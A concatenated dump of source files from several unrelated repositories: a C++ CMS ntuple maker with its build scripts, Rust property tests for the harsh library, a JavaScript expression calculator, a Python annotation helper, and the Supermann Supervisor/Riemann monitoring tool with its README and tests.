//--------------------------------------------------------------------------------------------- // Run the code //--------------------------------------------------------------------------------------------- babycms4.run(); } catch (const cxxopts::OptionException& e) { std::cout << "error parsing options: " << e.what() << std::endl; exit(1); } return 0; } //_________________________________________________________________________________________________ BabyCMS4::BabyCMS4() { } //_________________________________________________________________________________________________ BabyCMS4::~BabyCMS4() { } //_________________________________________________________________________________________________ void BabyCMS4::run() { // Load and set all the configurational stuff. (e.g. JES, TMVA, GRL, and etc.) core.initializeCORE(core_opt_str); // Set up the looper. RooUtil::Looper<CMS3> looper(chain, &cms3, n_evt_to_process); // Set up the output. TFile* ofile = new TFile(output_file_name, "recreate"); TTreeX* ttree = new TTreeX("t", "Baby Ntuple"); // Create output TTree branches. core.createEventBranches(ttree); core.createGenBranches(ttree); core.createJetBranches(ttree); core.createFatJetBranches(ttree); core.createMETBranches(ttree); core.createIsoTrackBranches(ttree); core.createLeptonBranches(ttree, { {VVV_cutbased_tight , "VVV_cutbased_tight" }, {VVV_cutbased_fo , "VVV_cutbased_fo" }, {VVV_cutbased_fo_noiso , "VVV_cutbased_fo_noiso" }, {VVV_cutbased_fo_noiso_noip , "VVV_cutbased_fo_noiso_noip"}, {VVV_cutbased_veto , "VVV_cutbased_veto" } } ); core.createTrigBranches(ttree, { "HLT_Ele", "HLT_Mu", "HLT_TkMu", "HLT_IsoMu", "HLT_IsoTkMu", } ); // Loop! while (looper.nextEvent()) { // Reset all the branch values. ttree->clear(); // Set the jet corrector based on the event. core.setJetCorrector(); // Set the branches. core.setEventBranches(ttree); core.setGenBranches(ttree); core.setJetBranches(ttree); core.setFatJetBranches(ttree); core.setMETBranches(ttree); core.setIsoTrackBranches(ttree); core.setLeptonBranches(ttree); core.setTrigBranches(ttree); if (core.nCount(ttree, "lep_pass_VVV_cutbased_fo_noiso_noip") < 1) continue; ttree->fill(); } // Save the output. ofile->cd(); ttree->getTree()->Write(); ofile->Close(); } //eof <file_sep>/setup.sh for PACKAGE in $(ls -d -- *); do LD_LIBRARY_PATH=$PWD/$PACKAGE:${LD_LIBRARY_PATH} done source /code/osgcode/cmssoft/cmsset_default.sh > /dev/null 2>&1 export SCRAM_ARCH=slc6_amd64_gcc530 export CMSSW_VERSION=CMSSW_9_2_0 echo Setting up CMSSW for CMSSW_9_2_0 for slc6_amd64_gcc530 cd /cvmfs/cms.cern.ch/slc6_amd64_gcc530/cms/cmssw/CMSSW_9_2_0/src eval `scramv1 runtime -sh` cd - <file_sep>/Makefile ######################################################################### # Below list your packages PACKAGES = rooutil CORE COREHelper TARGETNAME = babycms4 ######################################################################### # Common section ######################################################################### DIRS := . $(shell find $(PACKAGES) -type d) GARBAGE_PATTERNS := *.o *~ core .depend .*.cmd *.ko *.mod.c GARBAGE := $(foreach DIR,$(DIRS),$(addprefix $(DIR)/,$(GARBAGE_PATTERNS))) SRCS=$(wildcard *.cc) HDRS=$(SRCS:.cc=.h) OBJS=$(SRCS:.cc=.o) ROOTLIBS:= $(shell root-config --libs) -lTMVA -lEG -lGenVector -lXMLIO -lMLP -lTreePlayer -lRooFit -lRooFitCore all: $(PACKAGES) $(OBJS) g++ -o $(TARGETNAME) $(OBJS) $(ROOTLIBS) $(addprefix -L,$(PACKAGES)) $(addprefix -l,$(PACKAGES)) %.o: %.cc g++ -Wunused-variable -g -O2 -Wall -fPIC -Wshadow -Woverloaded-virtual $(shell root-config --cflags) -c $< -o $@ $(PACKAGES): make -j 15 -C $@ ln -sf $(notdir $(shell ls $@/*[email protected] | grep -v lib)) $@/[email protected] cleanall: rm -rf $(GARBAGE) clean: rm -rf *.o rm -f $(TARGETNAME) .PHONY: $(PACKAGES)
59869691ba5ab28fa30c67c9e7c3b3b019e7774c
[ "Makefile", "C++", "Shell" ]
4
C++
sgnoohc/babycms4
d08120ac597c25edff01c03878589a973bca184f
2efefc36c4065bb5ce04f96b3fb031a9455378f3
refs/heads/master
<repo_name>Terkwood/harsh<file_sep>/tests/quickcheck.rs #[macro_use] extern crate quickcheck; use harsh::Harsh; use quickcheck::TestResult; quickcheck! { fn decode_no_panic(encoded: String) -> () { let harsh = Harsh::default(); let _ = harsh.decode(encoded); } } quickcheck! { fn encode_always_decodable(numbers: Vec<u64>) -> TestResult { if numbers.is_empty() { return TestResult::discard(); } let harsh = Harsh::default(); let encoded = harsh.encode(&numbers); harsh.decode(encoded).expect("Unable to decode value"); TestResult::passed() } } quickcheck! { fn min_length_always_met(numbers: Vec<u64>, min_length: usize) -> TestResult { if numbers.is_empty() { return TestResult::discard(); } let harsh = Harsh::builder().length(min_length).build().expect("Unable to create harsh"); let encoded = harsh.encode(&numbers); assert!(encoded.len() >= min_length); TestResult::passed() } }
5882c1eef042beaf6c8875469387eb33e34597b7
[ "Rust" ]
1
Rust
Terkwood/harsh
174a3ce6e1e20f06e3011b9c95bd4e09278c4511
4611110e902b40f81362434dee5075bd04e9aa27
refs/heads/master
<repo_name>yauheniche/expression-calculator<file_sep>/src/index.js function eval() { // Do not use eval!!! return; } function expressionCalculator(expr) { for( let i = 0 ; i < expr.length ; i++ ) { if ((expr[i] == '/' || expr[i] == '*' || expr[i] == '-' || expr[i] == '+' || expr[i] == ')' || expr[i] == '(') && expr[i-1] != ' ' && expr[i-1] != ' ') { expr = expr.split('').join(' ') } } expr = expr.trim().split(' '); errArr = [] ; for (let i of expr) { if ( i == '(' || i ==')' ) errArr.push(i) } if (errArr.length % 2 != 0) { throw new Error("ExpressionError: Brackets must be paired") } let numbers = []; let signs = []; let insertElem = []; function reduce( numbers , signs) { if (!signs.includes('(') && !signs.includes(')') && !signs.includes('*') && !signs.includes('/')) { //perescoc if (numbers.length > 1 ) { finish( numbers , signs) } } if (signs[signs.length-1] == "+") { numbers.push(+numbers[numbers.length-1] + +numbers[numbers.length-2]) numbers.splice(numbers.length-3, 2) signs.splice(signs.length-1,1) }; if (signs[signs.length-1] == "-") { numbers.push(+numbers[numbers.length-2] - +numbers[numbers.length-1]) numbers.splice(numbers.length-3, 2) signs.splice(signs.length-1,1) } if (signs[signs.length-1] == "*") { numbers.push(+numbers[numbers.length-1] * +numbers[numbers.length-2]) numbers.splice(numbers.length-3, 2) signs.splice(signs.length-1,1) } if (signs[signs.length-1] == "/") { numbers.push(+numbers[numbers.length-2] / +numbers[numbers.length-1]) numbers.splice(numbers.length-3, 2) signs.splice(signs.length-1,1) } if (signs[signs.length-1] == ")") { let endElemSign = signs.length-1; let startElemSign = signs.lastIndexOf('(') let endElemNum = numbers.length-1; let startElemNum = numbers.length - (endElemSign - startElemSign); finish(numbers.slice(startElemNum,endElemNum+1), signs.slice(startElemSign+1,endElemSign)) numbers.splice(startElemNum , numbers.slice(startElemNum,endElemNum+1).length , insertElem[insertElem.length-1]); signs.splice(startElemSign , signs.slice(startElemSign,endElemSign+1).length); } if ( signs.includes(')')) { if (numbers.length > 1 ) { reduce( numbers , signs) } } } function finish( numbers , signs) { if (signs.includes('*') || signs.includes('/') ) { let indexSignMul = signs.indexOf('*'); let indexSignDiv = signs.indexOf('/'); if (signs.includes('*')) { numbers.splice(indexSignMul, 2, (+numbers[indexSignMul] * +numbers[indexSignMul+1])) signs.splice(indexSignMul,1) finish( numbers , signs) } if (signs.includes('/')) { numbers.splice(indexSignDiv, 2, (+numbers[indexSignDiv] / +numbers[indexSignDiv+1])) signs.splice(indexSignDiv,1) finish( numbers , signs) } } if (signs[0] == "+") { numbers.unshift(+numbers[0] + +numbers[1]) numbers.splice(1, 2) signs.splice(0,1) }; if (signs[0] == "-") { numbers.unshift(+numbers[0] - +numbers[1]) numbers.splice(1, 2) signs.splice(0,1) } if (numbers.includes(Infinity)) { throw new Error("TypeError: Division by zero.") } if (numbers.length > 1 ) { finish( numbers , signs) } else { insertElem.push( numbers[0]) } } for ( let i = 0 ; i < expr.length ; i ++ ) { if (expr[i] == "" || expr[i] == " ") continue; if (!isNaN(+expr[i]) && i != expr.length-1) { numbers.push(expr[i]); continue } if ( !isNaN(+expr[i]) && i == expr.length-1) { numbers.push(expr[i]) if (numbers.length > 1 ) { reduce( numbers , signs) } } if (expr[i] == '+' || expr[i] == '-') { if (signs.length == 0) { signs.push(expr[i]) continue } else if (signs[signs.length-1] === "+"){ signs.push(expr[i]); } else if (signs[signs.length-1] === "-"){ signs.push(expr[i]); } else if (signs[signs.length-1] === "/"){ numbers.push(+numbers[numbers.length-2] / +numbers[numbers.length-1]); numbers.splice(numbers.length-3, 2); signs.push(expr[i]); signs.splice(signs.length-2, 1) } else if (signs[signs.length-1] === "*"){ numbers.push(+numbers[numbers.length-2] * +numbers[numbers.length-1]); numbers.splice(numbers.length-3, 2); signs.push(expr[i]); signs.splice(signs.length-2, 1) }else if (signs[signs.length-1] === "("){ signs.push(expr[i]); continue } } if (expr[i] == '*' || expr[i] == '/') { if (signs.length == 0) { signs.push(expr[i]) } else if (signs[signs.length-1] === "*"){ numbers.push(+numbers[numbers.length-2] * +numbers[numbers.length-1]); numbers.splice(numbers.length-3, 2); signs.push(expr[i]) signs.splice(signs.length-2, 1) } else if (signs[signs.length-1] === "/"){ numbers.push(+numbers[numbers.length-2] / +numbers[numbers.length-1]); numbers.splice(numbers.length-3, 2); signs.push(expr[i]); signs.splice(signs.length-2, 1) } else if (signs[signs.length-1] === "+" || signs[signs.length-1] === "-"){ signs.push(expr[i]); }else if (signs[signs.length-1] === "("){ signs.push(expr[i]); continue }else if (signs[signs.length-1] === "("){ signs.push(expr[i]); continue } } if (expr[i] == '(') { signs.push(expr[i]) continue } if (expr[i] == ')') { if (signs[signs.length-1] === "*"){ numbers.push(+numbers[numbers.length-2] * +numbers[numbers.length-1]); numbers.splice(numbers.length-3, 2); signs.push(expr[i]) signs.splice(signs.length-2, 1) } else if (signs[signs.length-1] === "/"){ numbers.push(+numbers[numbers.length-2] / +numbers[numbers.length-1]); numbers.splice(numbers.length-3, 2); signs.push(expr[i]); signs.splice(signs.length-2, 1) } else if (signs[signs.length-1] === "+"){ signs.push(expr[i]); } else if (signs[signs.length-1] === "-"){ signs.push(expr[i]); } if( signs[signs.length - 2] != '(') { reduce( numbers , signs) } else if( signs[signs.length - 2] == '('){ signs.splice(signs.length-2, 2) } continue } } if (numbers[0] == Infinity) { throw new Error("TypeError: Division by zero.") } if (signs.length == 0) { return (numbers[0]) } else if (signs.includes('(') && !signs.includes(')')){ throw new Error("ExpressionError: Brackets must be paired") }else { finish( numbers , signs); if (signs.length == 0) { return (numbers[0]) } } } module.exports = { expressionCalculator }
c3d74b836c7c0b995f2ca15f818bb5cb766fc40a
[ "JavaScript" ]
1
JavaScript
yauheniche/expression-calculator
50b1bb2eb8cfeb313fe2b1498ad65add0799b367
0e9adcd8dfbdbbbd779cf1546d91de8094189da4
refs/heads/master
<repo_name>cofemei/grails-fluentd-appender-plugin<file_sep>/src/java/FluentAppender.java import java.util.HashMap; import java.util.Map; import org.apache.log4j.AppenderSkeleton; import org.apache.log4j.spi.LoggingEvent; import org.fluentd.logger.FluentLogger; /** * Basic implementation of a fluent appender for log4j */ public class FluentAppender extends AppenderSkeleton { private FluentLogger fluentLogger; protected String tag = "log4j-appender"; protected String host = "localhost"; protected int port = 24224; protected String label = "label"; public void setHost(String host) { this.host = host; } public void setPort(int port) { this.port = port; } public void setTag(String tag) { this.tag = tag; } public void setLabel(String label) { this.label = label; } /** * Initialise the fluent logger */ @Override public void activateOptions() { System.out.println(this.name); System.out.println(this.host); System.out.println(this.port); try { fluentLogger = FluentLogger.getLogger(tag, host, port); } catch (RuntimeException e) { e.printStackTrace(); // TODO replace this with something useful } super.activateOptions(); } /** * Flush the fluent logger before closing */ @Override public void close() { fluentLogger.flush(); } @Override public boolean requiresLayout() { return false; } /** * Write to the log */ @Override protected void append(LoggingEvent event) { Map<String, Object> messages = new HashMap<String, Object>(); messages.put("level", event.getLevel().toString()); messages.put("loggerName", event.getLoggerName()); messages.put("thread", event.getThreadName()); messages.put("message", event.getMessage().toString()); fluentLogger.log(label, messages, event.getTimeStamp()); } }
bb9ac57ae254e25f31d6b8bf6883aa0f20dabafe
[ "Java" ]
1
Java
cofemei/grails-fluentd-appender-plugin
dfb86e67cc375cd2426ce92d233def33ce15e579
0aafcc7e2433454025f805473d8c9abd3e905749
refs/heads/master
<repo_name>ximet/babel-plugin-stateful-functional-react-components<file_sep>/src/index.js function rewriteFunctionalComponent(t, path, isCtx) { const bodyPath = path.get('declarations.0.init.body'); const decl = path.node.declarations[0]; const className = decl.id; const propsRefs = decl.init.params[0]; const ctxRefs = isCtx ? decl.init.params[1] : null; const stateRefs = isCtx ? decl.init.params[2].left : decl.init.params[1].left; const stateVal = isCtx ? decl.init.params[2].right : decl.init.params[1].right; // replace `setState` with `this.setState` bodyPath.traverse({ CallExpression(path) { if (path.node.callee.name === 'setState') { path.replaceWith( t.CallExpression( t.MemberExpression( t.ThisExpression(), path.node.callee), path.node.arguments)); } } }); // get return value as a block statement const returnVal = t.isBlockStatement(bodyPath.node) ? bodyPath.node : t.BlockStatement([ t.ReturnStatement(bodyPath.node)]); // rewrite `state` declaration returnVal.body.unshift( t.VariableDeclaration( 'const', [t.VariableDeclarator( stateRefs, t.MemberExpression( t.ThisExpression(), t.Identifier('state')))])); // rewrite `context` declaration if (isCtx) { returnVal.body.unshift( t.VariableDeclaration( 'const', [t.VariableDeclarator( ctxRefs, t.MemberExpression( t.ThisExpression(), t.Identifier('context')))])); } // rewrite `props` declaration returnVal.body.unshift( t.VariableDeclaration( 'const', [t.VariableDeclarator( propsRefs, t.MemberExpression( t.ThisExpression(), t.Identifier('props')))])); // Ensure React is avaible in the global scope if (!path.scope.hasGlobal("React") && !path.scope.hasBinding("React")) { throw new Error( ` React was not found. You need to add this import on top of your file: import React from 'react' ` ); } // rewrite functional component into ES2015 class path.replaceWith( t.ClassDeclaration( className, t.MemberExpression( t.Identifier('React'), t.Identifier('Component')), t.ClassBody([ t.ClassMethod( 'constructor', t.Identifier('constructor'), [], t.BlockStatement([ t.ExpressionStatement( t.CallExpression( t.Super(), [])), t.ExpressionStatement( t.AssignmentExpression( '=', t.MemberExpression( t.ThisExpression(), t.Identifier('state')), stateVal))])), t.ClassMethod( 'method', t.Identifier('render'), [], returnVal)]), [])); } function isStatefulFn(t, init) { return ( t.isArrowFunctionExpression(init) && init.params.length === 3 && t.isAssignmentPattern(init.params[1]) && t.isObjectExpression(init.params[1].right) && init.params[2].name === 'setState' ); } function isStatefulFnWithContext(t, init) { return ( t.isArrowFunctionExpression(init) && init.params.length === 4 && t.isAssignmentPattern(init.params[2]) && t.isObjectExpression(init.params[2].right) && init.params[3].name === 'setState' ); } export default function (babel) { const { types: t } = babel; return { visitor: { VariableDeclaration(path) { const init = path.node.declarations[0].init; const isCtx = isStatefulFnWithContext(t, init); if (isStatefulFn(t, init) || isCtx) { rewriteFunctionalComponent(t, path, isCtx); } } } }; } <file_sep>/example/output.js import React from 'react'; class Counter extends React.Component { constructor() { super(); this.state = { val: 0 }; } render() { const props = this.props; const { val } = this.state; return React.createElement( 'div', null, React.createElement( 'button', { onClick: () => this.setState({ val: val - 1 }) }, '-' ), React.createElement( 'span', null, val ), React.createElement( 'button', { onClick: () => this.setState({ val: val + 1 }) }, '+' ) ); } } class App extends React.Component { constructor() { super(); this.state = { val: '' }; } render() { const { text } = this.props; const { theme } = this.context; const { val } = this.state; return React.createElement( 'div', { className: theme }, React.createElement( 'h1', null, text ), React.createElement('input', { value: val, onChange: e => this.setState({ val: e.target.value }) }), React.createElement(Counter, null) ); } } <file_sep>/README.md # babel-plugin-stateful-functional-react-components ✨ _Stateful functional React components without runtime overhead (inspired by ClojureScript)_ ✨ _Compiles stateful functional React components syntax into ES2015 classes_ WARNING: _This plugin is experimental. If you are interested in taking this further, please open an issue or submit a PR with improvements._ [![npm](https://img.shields.io/npm/v/babel-plugin-stateful-functional-react-components.svg?style=flat-square)](https://www.npmjs.com/package/babel-plugin-stateful-functional-react-components) ## Table of Contents - [Why?](#why) - [Advantages](#advantages) - [Example](#example) - [API](#api) - [Important Notes](#important-notes) - [Installation](#installation) - [Usage](#usage) - [License](#license) ## Why? Because functional components are concise and it's annoying to write ES2015 classes when all you need is local state. ## Advantages - No runtime overhead - No dependencies that adds additional KB's to your bundle ## Example __Input__ ```js // props context state init state const Counter = ({ text }, { theme }, { val } = { val: 0 }, setState) => ( <div className={theme}> <h1>{text}</h1> <div> <button onClick={() => setState({ val: val - 1 })}>-</button> <span>{val}</span> <button onClick={() => setState({ val: val + 1 })}>+</button> </div> </div> ); ``` __Output__ ```js class Counter extends React.Component { constructor() { super(); this.state = { val: 0 }; } render() { const { text } = this.props; const { theme } = this.context; const { val } = this.state; return ( <div className={theme}> <h1>{text}</h1> <div> <button onClick={() => this.setState({ val: val - 1 })}>-</button> <span>{val}</span> <button onClick={() => this.setState({ val: val + 1 })}>+</button> </div> </div> ); } } ``` ## API **(props [,context], state = initialState, setState)** - `props` is component’s props i.e. `this.props` - `context` is optional parameter which corresponds to React’s context - `state` is component’s state, `initialState` is required - `setState` maps to `this.setState` ## Important notes - _state_ parameter _must_ be assigned default value (_initial state_) - The last parameter _must_ be named `setState` - Even though this syntax makes components look _functional_, don't forget that they are also _stateful_, which means that hot-reloading won't work for them. ## Installation ``` npm i babel-plugin-stateful-functional-react-components ``` ## Usage ### Via .babelrc (Recommended) __.babelrc__ ```json { "plugins": ["stateful-functional-react-components"] } ``` ### Via CLI ``` babel --plugins stateful-functional-react-components script.js ``` ### Via Node API ```js require("babel-core").transform("code", { plugins: ["stateful-functional-react-components"] }); ``` ## License MIT <file_sep>/test/fixtures/expected.js import React from 'react'; class Counter extends React.Component { constructor() { super(); this.state = { val: 0 }; } render() { const props = this.props; const state = this.state; const { val } = state; const v = state.val; const vs = state['val']; const vxs = [state.val].map(n => n + 1); const dec = () => this.setState({ val: --val }); return React.createElement( 'div', null, React.createElement( 'button', { onClick: dec }, '-' ), React.createElement( 'span', null, state.val ), React.createElement( 'button', { onClick: () => this.setState({ val: ++val }) }, '+' ) ); } } class App extends React.Component { constructor() { super(); this.state = { val: '' }; } render() { const { text } = this.props; const { theme } = this.context; const { val } = this.state; return React.createElement( 'div', { className: theme }, React.createElement( 'h1', null, text ), React.createElement('input', { value: val, onChange: e => this.setState({ val: e.target.value }) }), React.createElement(Counter, null) ); } } <file_sep>/example/input.js import React from 'react'; const Counter = (props, { val } = { val: 0 }, setState) => ( <div> <button onClick={() => setState({ val: val - 1 })}>-</button> <span>{val}</span> <button onClick={() => setState({ val: val + 1 })}>+</button> </div> ); const App = ({ text }, { theme }, { val } = { val: '' }, setState) => { return ( <div className={theme}> <h1>{text}</h1> <input value={val} onChange={(e) => setState({ val: e.target.value })} /> <Counter /> </div> ); };
239d7b5620b07f56d2dbadd7cd667affdd4c7a22
[ "JavaScript", "Markdown" ]
5
JavaScript
ximet/babel-plugin-stateful-functional-react-components
437952190df85178524336dd16929a40681ce394
63f0200599b91a577f3c0d521af0b1aa7ffcdccf
refs/heads/master
<file_sep>public class Client { private String name; private Pet pet; public Client(String name, Pet pet) { this.name = name; this.pet = pet; } public Client() {} public String info() { return("Clients name is " + this.name + ". Clients pets name is " + this.pet.getName() + ". Clients pet ages is " + this.pet.getAges() + ". " + this.pet.voice() + "."); } public void changeName(String newName) { this.name = newName; return; } public String getName() { return this.name; } public Pet getPet() { return this.pet; } }<file_sep>public class Dog extends Pet { public Dog(String name, int ages) { this.name = name; this.ages = ages; } @Override public String voice() { return ("Haw"); } }<file_sep>public abstract class Pet { protected String name; protected int ages; public void changeName(String newName) { this.name = newName; return; } public String getName() { return this.name; } public int getAges() { return this.ages; } public abstract String voice(); }
f5696538f608a8e7cc06f4d2b92ea97094cad6b7
[ "Java" ]
3
Java
MaximSofronov/pet_clinic
52625caeb964db873ecc9264e17d6ea2959e7cae
4cd2f6bd455c5e30cda1e988e58b96aad6902ee0
refs/heads/master
<file_sep>import os def predict_label(json_data, filename): current_dir_path = os.path.dirname(os.path.realpath(__file__)) bounding_box_path = os.path.join("classify/bounding_boxes", filename+'.json') bounding_box_filename = os.path.join(current_dir_path, bounding_box_path) output_path = os.path.join(current_dir_path, "classify/write_data.txt") image_filename = os.path.join("/Users/berniewang/annotator/lidarAnnotator/app/classify/data/image", filename+'png') try: open(bounding_box_filename, 'w').close() except Exception as e: pass with open(bounding_box_filename,'a') as f: f.write(json_data) os.system("python {} --image_file={}".format(os.path.join(current_dir_path, "classify/classifier.py"), image_filename)) data = os.popen("cat {}".format(output_path)).read() os.system("rm classify/bounding_boxes/*.json") return get_keyword(data) def get_keyword(data): pedestrian_keywords = {'person', 'man', 'woman', 'walker', 'pedestrian'} car_keywords = {'car'} van_keywords = {'van', 'minivan', 'bus', 'minibus'} truck_keywords = {'truck'} cyclist_keywords = {'cyclist', 'motorcyclist', 'unicyclist', 'bicycle', 'motocycle', 'bike', 'motorbike'} words = [] for w in data.split(','): words.extend(w.split(' ')) words = set(words) if words.intersection(car_keywords): return 0 if words.intersection(van_keywords): return 1 if words.intersection(truck_keywords): return 2 if words.intersection(pedestrian_keywords): return 3 if words.intersection(cyclist_keywords): return 4 return -1
e0a914721ab9cfc529a05f0c770175ecd3211ca6
[ "Python" ]
1
Python
AUST-Hansen/latte
6a174408b94d3ac268b7a058573cd45259d08650
1111ccd32ae9313bb8036f6ad3e9c63fef4c600a
refs/heads/master
<file_sep>"""Utility functions used in other parts of Supermann""" from __future__ import absolute_import import logging #: The default log format LOG_FORMAT = '%(asctime)s %(levelname)-8s [%(name)s] %(message)s' #: A set of log levels availible for --log-level's choices LOG_LEVELS = { 'CRITICAL': logging.CRITICAL, 'ERROR': logging.ERROR, 'WARNING': logging.WARNING, 'INFO': logging.INFO, 'DEBUG': logging.DEBUG, } def configure_logging(level=logging.INFO, format=LOG_FORMAT, log=''): """This configures a logger to output to the console :param level: The log level to set :type level: int or str :param str format: The logging format to use :param str log: The log to configure, defaulting to the root logger """ if isinstance(level, basestring): level = LOG_LEVELS.get(level) handler = logging.StreamHandler() handler.setFormatter(logging.Formatter(format)) log = logging.getLogger(log) log.setLevel(level) log.addHandler(handler) def fullname(obj): """Returns the qualified name of an object's class :param obj: An object to inspect :returns: The name of the objects class """ name = obj.__name__ if hasattr(obj, '__name__') else obj.__class__.__name__ return '.'.join([obj.__module__, name]) def getLogger(obj): """Returns a logger using the full name of the given object :param obj: An object to inspect :returns: A logger object using the :py:func:`.fullname` of the object """ return logging.getLogger(fullname(obj)) <file_sep>supermann.metrics package ========================= supermann.metrics.process ------------------------- .. automodule:: supermann.metrics.process :members: :undoc-members: :show-inheritance: supermann.metrics.system ------------------------ .. automodule:: supermann.metrics.system :members: :undoc-members: :show-inheritance: <file_sep>from __future__ import absolute_import import datetime import time import os from supermann import Supermann from supermann.supervisor import Event import mock import py.test def timestamp(): return time.mktime(datetime.datetime.now().timetuple()) def getAllProcessInfo(): """Returns some fake process data The 'running' process uses the current PID so that the metrics have a process to collect data from. The 'stopped' process uses PID 0, which Supervisor uses to represent a non-existent process. """ yield { 'pid': os.getpid(), 'name': 'this-process', 'statename': 'RUNNING', 'start': timestamp(), 'stop': timestamp(), 'now': timestamp(), } yield { 'pid': 0, 'name': 'dead-process', 'statename': 'STOPPED', 'start': timestamp(), 'stop': timestamp(), 'now': timestamp(), } @py.test.fixture @mock.patch('supermann.supervisor.Supervisor', autospec=True) @mock.patch('riemann_client.transport.TCPTransport', autospec=True) def supermann_instance(riemann_client_class, supervisor_class): instance = Supermann(None, None).with_all_recivers() instance.supervisor.configure_mock(**{ # At least one process must be visible for the process metrics to run 'rpc.getAllProcessInfo': mock.Mock(wraps=getAllProcessInfo), # The information in each event isn't important to Supermann 'run_forever.return_value': [Event({}, {}), Event({}, {})] }) # 'Run' Supermann using the events in the Supervisor mock return instance.run() def test_riemann_client(supermann_instance): assert supermann_instance.riemann.transport.connect.called def test_one_message_per_event(supermann_instance): assert len(supermann_instance.riemann.transport.send.call_args_list) == 2 def test_supervisor_rpc_called(supermann_instance): assert supermann_instance.supervisor.rpc.getAllProcessInfo.called <file_sep>========= Supermann ========= .. image:: http://img.shields.io/pypi/v/supermann.svg :target: https://pypi.python.org/pypi/supermann .. image:: http://img.shields.io/pypi/l/supermann.svg :target: https://pypi.python.org/pypi/supermann .. image:: http://img.shields.io/travis/borntyping/supermann/master.svg :target: https://travis-ci.org/borntyping/supermann | Supermann monitors processes running under `Supervisor <http://supervisord.org/>`_ and sends metrics to `Riemann <http://riemann.io/>`_. * `Source on GitHub <https://github.com/borntyping/supermann>`_ * `Documentation on Read the Docs <http://supermann.readthedocs.org/en/latest/>`_ * `Packages on PyPI <https://pypi.python.org/pypi/supermann>`_ Usage ----- Supermann runs as a Supervisor event listener, and will send metrics every time an event is received. The only configuration Supermann needs is the host and port for a Riemann instance, which can be provided as arguments or by the ``RIEMANN_HOST`` and ``RIEMANN_PORT`` environment variables. Basic usage is as follows, though Supermann will not start if not run under Supervisor:: supermann [--log-level=LEVEL] HOST PORT A Supervisor configuration file for Supermann should look something like this:: [eventlistener:supermann] command=supermann-from-file /etc/supermann.args events=PROCESS_STATE,TICK_5 This loads Supermann's arguments from ``/etc/supermann.args``, which would contain a host and port for a Riemann server - ``localhost:5555`` is used as the default if no host or port are specified:: riemann.example.com 5555 What Supermann does ^^^^^^^^^^^^^^^^^^^ Supermann will collect and send information about the system and the processes running under Supervisor each time an event is received. Listening for the ``TICK_5`` and ``PROCESS_STATE`` events will collect and send information every 5 seconds, and when a program changes state. See the `Supervisor event documentation <http://supervisord.org/events.html>`_ for more information. Supermann is designed to bail out when an error is encountered, allowing Supervisor to restart it - it is recommended that you do not set ``autorestart=false`` in the Supervisor configuration for the event listener. Logs are sent to ``STDERR`` for collection by Supervisor - the log level can be controlled with the ``--log-level`` argument. The logs can be read with ``supervisorctl tail supermann stderr`` or finding the log in Supervisor's log directory. ``supermann-from-file`` ^^^^^^^^^^^^^^^^^^^^^^^ An issue with modifying the configuration of a Supervisord event listener (`link <https://github.com/Supervisor/supervisor/issues/339>`_) means that the command used to start an event listener process can't be changed while Supervisord is running. Supermann 2 allowed files to be named directly as an argument that more arguments would be read from. Supermann 3 instead provides the ``supermann-from-file`` entry point, which loads a file containing arguments that will be passed to the main ``supermann`` command. The easiest way to upgrade between versions is to rename the ``eventlistener:supermann`` section in the Supervisord configuration, and to then run ``supervisorctl update``. This will remove the old supermann instance, and start a new instance with the new command. The ``supermann-from-file`` command reads a set of arguments from a file and starts Supermann with those arguments, so that Supermann's configuration can be changed without restarting Supervisord. Installation ------------ Supermann can be installed with ``pip install supermann``. It's recommended to install it in the same Python environment as Supervisor. Supervisor can also be installed with ``pip``, or can be installed from your distributions package manager. Once Supermann is installed, add an ``eventlistener`` section to the Supervisor configuration (``/etc/supervisord.conf`` by default) and restart Supervisor. Requirements ^^^^^^^^^^^^ * `click <http://click.pocoo.org/>`_ * `blinker <https://pythonhosted.org/blinker/>`_ * `protobuf <https://pypi.python.org/pypi/protobuf>`_ * `psutil <http://pythonhosted.org/psutil/>`_ * `riemann-client <http://riemann-client.readthedocs.org/>`_ * `supervisor <http://supervisord.org/>`_ The ``psutil`` package uses C extensions, and installing the package from source or with a python package manager (such as ``pip``) will require build tools. Alternatively, it can be installed from your distribution's repositories (``python-psutil`` on Debian and CentOS). Superman currently uses a very old version of ``psutil`` so as to remain compatible with CentOS. Supermann is developed and tested on Python 2.6. There are no plans to release it for Python 3, as Google's ``protobuf`` library (and therefore ``riemann-client``) are only compatible with Python 2. Changelog --------- Version 3.0.0 ^^^^^^^^^^^^^ * Upgraded to most recent version of ``psutil`` (``2.1.1``) * Replaced or changed various metrics * Replaced ``argparse`` with ``click`` and made improvements to CLI * Replaced ``@file`` argument syntax with ``supermann-from-file`` * Removed ``--memmon`` option and memory monitoring plugin * Added documentation on `Read the Docs <http://supermann.readthedocs.org/en/latest/>`_ * Many other minor fixes and improvements Licence ------- Supermann is licensed under the `MIT Licence <http://opensource.org/licenses/MIT>`_. The protocol buffer definition is sourced from the `Riemann Java client <https://github.com/aphyr/riemann-java-client/blob/0c4a1a255be6f33069d7bb24d0cc7efb71bf4bc8/src/main/proto/riemann/proto.proto>`_, which is licensed under the `Apache Licence <http://www.apache.org/licenses/LICENSE-2.0>`_. Authors ------- Supermann was written by `<NAME> <https://github.com/borntyping>`_, while working at `DataSift <https://datasift.com>`_. .. image:: https://0.gravatar.com/avatar/8dd5661684a7385fe723b7e7588e91ee?d=https%3A%2F%2Fidenticons.github.com%2Fe83ef7586374403a328e175927b98cac.png&r=x&s=40 .. image:: https://1.gravatar.com/avatar/a3a6d949b43b6b880ffb3e277a65f49d?d=https%3A%2F%2Fidenticons.github.com%2F065affbc170e2511eeacb3bd0e975ec1.png&r=x&s=40 <file_sep>"""The Supermann core""" from __future__ import absolute_import import collections import os import sys import psutil import riemann_client.client import riemann_client.transport import supermann.metrics.process import supermann.metrics.system import supermann.signals import supermann.supervisor class Supermann(object): """Manages the components that make up a Supermann instance. Manages a the Supervisor and Riemann clients, and distributes events to the :py:data:`supermann.signals.event` and :py:data:`supermann.signals.process` signals. """ def __init__(self, host=None, port=None): self.actions = collections.defaultdict(list) self.process_cache = dict() self.log = supermann.utils.getLogger(self) # Before connecting to Supervisor and Riemann, show when Supermann # started up and which supervisord instance it is running under process = psutil.Process(os.getpid()) self.log.info("This looks like a job for Supermann!") self.log.info("Process PID is {0}, running under {1}".format( process.pid, process.ppid())) # The Supervisor listener and client take their configuration from # the environment variables provided by Supervisor self.supervisor = supermann.supervisor.Supervisor() # The Riemann client uses the host and port passed on the command line self.riemann = riemann_client.client.QueuedClient( riemann_client.transport.TCPTransport(host, port)) supermann.utils.getLogger(self.riemann).info( "Using Riemann protobuf server at {0}:{1}".format(host, port)) # 